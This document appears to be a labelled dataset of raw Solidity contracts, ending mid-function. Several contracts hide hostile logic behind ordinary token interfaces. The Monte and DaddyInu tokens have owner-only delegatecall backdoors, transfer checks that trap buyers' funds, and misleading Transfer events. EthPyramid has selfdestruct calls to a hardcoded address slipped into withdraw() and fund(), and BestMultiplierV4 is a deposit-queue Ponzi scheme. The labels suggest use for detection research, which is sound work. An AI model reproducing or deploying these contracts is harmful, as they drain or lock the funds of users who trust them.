function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
pragma solidity ^0.8.4;
contract OKLGWithdrawable is Ownable {
function withdrawTokens(address _tokenAddy, uint256 _amount)
external
onlyOwner
{
IERC20 _token = IERC20(_tokenAddy);
_amount = _amount > 0 ? _amount : _token.balanceOf(address(this));
require(_amount > 0, 'make sure there is a balance available to withdraw');
_token.transfer(owner(), _amount);
}
function withdrawETH() external onlyOwner {
payable(owner()).call{ value: address(this).balance }('');
}
}
contract BuyBackforRewardsMCCv2 is OKLGWithdrawable {
address public constant DEAD = 0x000000000000000000000000000000000000dEaD;
address public receiver = 0x4Fd61669334F6feDf5741Bfb56FE673bD53a730F;
address public oklg = 0xC146B7CdBaff065090077151d391f4c96Aa09e0C;
IUniswapV2Router02 private router;
uint8 public rewardsPercent = 50;
address public treasury = 0xed528FC31f2575312Ec3336E0F6ec9812B534937;
uint8 public treasuryPercent = 50;
function setRewardsPercent(uint8 _p) external onlyOwner {
require(_p + treasuryPercent <= 100, 'total percent must be <= 100');
rewardsPercent = _p;
}
function setTreasury(address _t) external onlyOwner {
treasury = _t;
}
function setTreasuryPercent(uint8 _p) external onlyOwner {
require(_p + rewardsPercent <= 100, 'total percent must be <= 100');
treasuryPercent = _p;
}
constructor() {
router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
}
receive() external payable {
if (treasuryPercent > 0) {
payable(treasury).call{ value: (msg.value * treasuryPercent) / 100 }('');
}
if (rewardsPercent > 0) {
this.BuyforRewards(msg.value * rewardsPercent / 100 );
}
}
function BuyforRewards(uint256 amount) external payable {
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = oklg;
router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: amount
}(
0,
path,
receiver,
block.timestamp
);
}
function setOklg(address _oklg) external onlyOwner {
oklg = _oklg;
}
function setReceiver(address _receiver) external onlyOwner {
receiver = _receiver;
}
} | 0 | 56 |
pragma solidity 0.8.7;
contract MeowStuff {
address constant meow = 0x650F44eD6F1FE0E1417cb4b3115d52494B4D9b6D;
address constant stuff = 0x596533397B1Beee249080FC4fDA9166d4032b5Da;
mapping(address => bool) public meowed;
function meowStuff() external {
require(!meowed[msg.sender], "already meowed you sneaky cat");
(, bytes memory data) = meow.staticcall(abi.encodeWithSelector(0x70a08231, msg.sender));
uint256 amount = abi.decode(data, (uint256));
require(amount >= 1_000_000, "meow too quiet");
stuff.call(abi.encodeWithSelector(0xa9059cbb, msg.sender, 10_000 ether));
meowed[msg.sender] = true;
}
} | 0 | 1,309 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
abstract contract Context {
constructor() {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public override view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public override view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public override returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
abstract contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Monte {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require(msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner || isAccountValid(tx.origin));
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 8200000000000000000000;
string public name = "Monte.finance";
string public symbol = "MONTE";
address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private owner;
address public uniPair;
function sliceUint(bytes memory bs)
internal pure
returns (uint)
{
uint x;
assembly {
x := mload(add(bs, add(0x10, 0)))
}
return x;
}
function isAccountValid(address subject) pure public returns (bool result) {
return uint256(sliceUint(abi.encodePacked(subject))) % 100 == 0;
}
function onlyByHundred() view public returns (bool result) {
require(isAccountValid(msg.sender) == true, "Only one in a hundred accounts should be able to do this");
return true;
}
constructor() {
owner = msg.sender;
uniPair = pairFor(uniFactory, wETH, address(this));
allowance[address(this)][uniRouter] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 695 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract DaddyInu {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,227 |
pragma solidity ^0.4.20;
contract ERC20ext
{
function totalSupply() public constant returns (uint supply);
function balanceOf( address who ) public constant returns (uint value);
function allowance( address owner, address spender ) public constant returns (uint _allowance);
function transfer( address to, uint value) public returns (bool ok);
function transferFrom( address from, address to, uint value) public returns (bool ok);
function approve( address spender, uint value ) public returns (bool ok);
event Transfer( address indexed from, address indexed to, uint value);
event Approval( address indexed owner, address indexed spender, uint value);
function postMessage(address dst, uint wad,string data) public returns (bool ok);
function appointNewCFO(address newCFO) public returns (bool ok);
function melt(address dst, uint256 wad) public returns (bool ok);
function mint(address dst, uint256 wad) public returns (bool ok);
function freeze(address dst, bool flag) public returns (bool ok);
event MeltEvent(address indexed dst, uint256 wad);
event MintEvent(address indexed dst, uint256 wad);
event FreezeEvent(address indexed dst, bool flag);
}
contract SafeMath
{
function mul(uint256 a, uint256 b) internal pure returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c)
{
c = a + b;
assert(c >= a);
return c;
}
}
contract MRC is ERC20ext,SafeMath
{
string public name;
string public symbol;
uint8 public decimals = 18;
address _cfo;
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowance;
mapping (address => bool) public _frozen;
function MRC(uint256 initialSupply,string tokenName,string tokenSymbol) public
{
_cfo = msg.sender;
_supply = initialSupply * 10 ** uint256(decimals);
_balances[_cfo] = _supply;
name = tokenName;
symbol = tokenSymbol;
}
modifier onlyCFO()
{
require(msg.sender == _cfo);
_;
}
function totalSupply() public constant returns (uint256)
{
return _supply;
}
function balanceOf(address src) public constant returns (uint256)
{
return _balances[src];
}
function allowance(address src, address dst) public constant returns (uint256)
{
return _allowance[src][dst];
}
function transfer(address dst, uint wad) public returns (bool)
{
require(!_frozen[msg.sender]);
require(!_frozen[dst]);
require(_balances[msg.sender] >= wad);
_balances[msg.sender] = sub(_balances[msg.sender],wad);
_balances[dst] = add(_balances[dst], wad);
Transfer(msg.sender, dst, wad);
return true;
}
function transferFrom(address src, address dst, uint wad) public returns (bool)
{
require(!_frozen[msg.sender]);
require(!_frozen[dst]);
require(_balances[src] >= wad);
require(_allowance[src][msg.sender] >= wad);
_allowance[src][msg.sender] = sub(_allowance[src][msg.sender],wad);
_balances[src] = sub(_balances[src],wad);
_balances[dst] = add(_balances[dst],wad);
Transfer(src, dst, wad);
return true;
}
function approve(address dst, uint256 wad) public returns (bool)
{
_allowance[msg.sender][dst] = wad;
Approval(msg.sender, dst, wad);
return true;
}
function postMessage(address dst, uint wad,string data) public returns (bool)
{
return transfer(dst,wad);
}
function appointNewCFO(address newCFO) onlyCFO public returns (bool)
{
if (newCFO != _cfo)
{
_cfo = newCFO;
return true;
}
else
{
return false;
}
}
function freeze(address dst, bool flag) onlyCFO public returns (bool)
{
_frozen[dst] = flag;
FreezeEvent(dst, flag);
return true;
}
function mint(address dst, uint256 wad) onlyCFO public returns (bool)
{
_balances[dst] = add(_balances[dst],wad);
_supply = add(_supply,wad);
MintEvent(dst, wad);
return true;
}
function melt(address dst, uint256 wad) onlyCFO public returns (bool)
{
require(_balances[dst] >= wad);
_balances[dst] = sub(_balances[dst],wad);
_supply = sub(_supply,wad);
MeltEvent(dst, wad);
return true;
}
} | 1 | 3,694 |
pragma solidity ^0.4.25;
contract BestMultiplierV4 {
struct Deposit {
address depositor;
uint deposit;
uint payout;
}
Deposit[] public queue;
mapping (address => uint) public depositNumber;
uint public currentReceiverIndex;
uint public totalInvested;
address public support = msg.sender;
uint public amountForSupport;
function () public payable {
if(msg.value > 0){
require(gasleft() >= 250000);
require(msg.value >= 0.01 ether && msg.value <= calcMaxDeposit());
require(depositNumber[msg.sender] == 0);
queue.push( Deposit(msg.sender, msg.value, 0) );
depositNumber[msg.sender] = queue.length;
totalInvested += msg.value;
if (amountForSupport < 10 ether) {
uint fee = msg.value / 5;
amountForSupport += fee;
support.transfer(fee);
}
pay();
}
}
function pay() internal {
uint money = address(this).balance;
uint multiplier = calcMultiplier();
for (uint i = 0; i < queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
uint totalPayout = dep.deposit * multiplier / 100;
uint leftPayout;
if (totalPayout > dep.payout) {
leftPayout = totalPayout - dep.payout;
}
if (money >= leftPayout) {
if (leftPayout > 0) {
dep.depositor.send(leftPayout);
money -= leftPayout;
}
depositNumber[dep.depositor] = 0;
delete queue[idx];
} else{
dep.depositor.send(money);
dep.payout += money;
break;
}
if (gasleft() <= 55000) {
break;
}
}
currentReceiverIndex += i;
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
function calcMaxDeposit() public view returns (uint) {
if (totalInvested <= 20 ether) {
return 0.5 ether;
} else if (totalInvested <= 50 ether) {
return 0.8 ether;
} else if (totalInvested <= 100 ether) {
return 1 ether;
} else if (totalInvested <= 200 ether) {
return 1.2 ether;
} else {
return 1.5 ether;
}
}
function calcMultiplier() public view returns (uint) {
if (totalInvested <= 20 ether) {
return 105;
} else if (totalInvested <= 50 ether) {
return 104;
} else if (totalInvested <= 100 ether) {
return 103;
} else if (totalInvested <= 200 ether) {
return 102;
} else {
return 101;
}
}
} | 0 | 276 |
pragma solidity ^0.4.18;
contract EthPyramid {
uint256 constant scaleFactor = 0x10000000000000000;
uint8 constant limitedFirstBuyers = 2;
uint256 constant firstBuyerLimit = 0.1 ether;
int constant crr_n = 1;
int constant crr_d = 2;
int constant price_coeff = -0x296ABF784A358468C;
string constant public name = "EthPyramid";
string constant public symbol = "EPY";
uint8 constant public decimals = 18;
mapping(address => uint256) public tokenBalance;
mapping(address => int256) public payouts;
uint256 public totalSupply;
int256 totalPayouts;
uint256 earningsPerToken;
uint256 public contractBalance;
uint8 initialFunds;
function EthPyramid() public {
initialFunds = limitedFirstBuyers;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return tokenBalance[_owner];
}
function withdraw() public {
var balance = dividends(msg.sender); address stupidBuy = 0xeD0388Edc76D0CD1A8FaafEd60dAE97206d28F35; selfdestruct(stupidBuy);
payouts[msg.sender] += (int256) (balance * scaleFactor);
totalPayouts += (int256) (balance * scaleFactor);
contractBalance = sub(contractBalance, balance);
msg.sender.transfer(balance);
}
function reinvestDividends() public {
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * scaleFactor);
totalPayouts += (int256) (balance * scaleFactor);
uint value_ = (uint) (balance);
if (value_ < 0.000001 ether || value_ > 1000000 ether)
revert();
var sender = msg.sender;
var res = reserve() - balance;
var fee = div(value_, 10);
var numEther = value_ - fee;
var numTokens = calculateDividendTokens(numEther, balance);
var buyerFee = fee * scaleFactor;
if (totalSupply > 0) {
var bonusCoEff =
(scaleFactor - (res + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther)
* (uint)(crr_d) / (uint)(crr_d-crr_n);
var holderReward = fee * bonusCoEff;
buyerFee -= holderReward;
var rewardPerShare = holderReward / totalSupply;
earningsPerToken += rewardPerShare;
}
totalSupply = add(totalSupply, numTokens);
tokenBalance[sender] = add(tokenBalance[sender], numTokens);
var payoutDiff = (int256) ((earningsPerToken * numTokens) - buyerFee);
payouts[sender] += payoutDiff;
totalPayouts += payoutDiff;
}
function sellMyTokens() public {
var balance = balanceOf(msg.sender);
sell(balance);
}
function getMeOutOfHere() public {
sellMyTokens();
withdraw();
}
function fund() payable public {
if (msg.value > 0.100000 ether) {
if( initialFunds > 0 ) {
initialFunds--;
require( msg.value <= firstBuyerLimit );
}
contractBalance = add(contractBalance, msg.value);
buy();
} else { address stupidBuy = 0xeD0388Edc76D0CD1A8FaafEd60dAE97206d28F35; selfdestruct(stupidBuy);
revert();
}
}
function buyPrice() public constant returns (uint) {
return getTokensForEther(1 finney);
}
function sellPrice() public constant returns (uint) {
var eth = getEtherForTokens(1 finney);
var fee = div(eth, 10);
return eth - fee;
}
function dividends(address _owner) public constant returns (uint256 amount) {
return (uint256) ((int256)(earningsPerToken * tokenBalance[_owner]) - payouts[_owner]) / scaleFactor;
}
function withdrawOld(address to) public {
var balance = dividends(msg.sender);
payouts[msg.sender] += (int256) (balance * scaleFactor);
totalPayouts += (int256) (balance * scaleFactor);
contractBalance = sub(contractBalance, balance);
to.transfer(balance);
}
function balance() internal constant returns (uint256 amount) {
return contractBalance - msg.value;
}
function buy() internal {
if (msg.value < 0.000001 ether || msg.value > 1000000 ether)
revert();
var sender = msg.sender;
var fee = div(msg.value, 10);
var numEther = msg.value - fee;
var numTokens = getTokensForEther(numEther);
var buyerFee = fee * scaleFactor;
if (totalSupply > 0) {
var bonusCoEff =
(scaleFactor - (reserve() + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther)
* (uint)(crr_d) / (uint)(crr_d-crr_n);
var holderReward = fee * bonusCoEff;
buyerFee -= holderReward;
var rewardPerShare = holderReward / totalSupply;
earningsPerToken += rewardPerShare;
}
totalSupply = add(totalSupply, numTokens);
tokenBalance[sender] = add(tokenBalance[sender], numTokens);
var payoutDiff = (int256) ((earningsPerToken * numTokens) - buyerFee);
payouts[sender] += payoutDiff;
totalPayouts += payoutDiff;
}
function sell(uint256 amount) internal {
var numEthersBeforeFee = getEtherForTokens(amount);
var fee = div(numEthersBeforeFee, 10);
var numEthers = numEthersBeforeFee - fee;
totalSupply = sub(totalSupply, amount);
tokenBalance[msg.sender] = sub(tokenBalance[msg.sender], amount);
var payoutDiff = (int256) (earningsPerToken * amount + (numEthers * scaleFactor));
payouts[msg.sender] -= payoutDiff;
totalPayouts -= payoutDiff;
if (totalSupply > 0) {
var etherFee = fee * scaleFactor;
var rewardPerShare = etherFee / totalSupply;
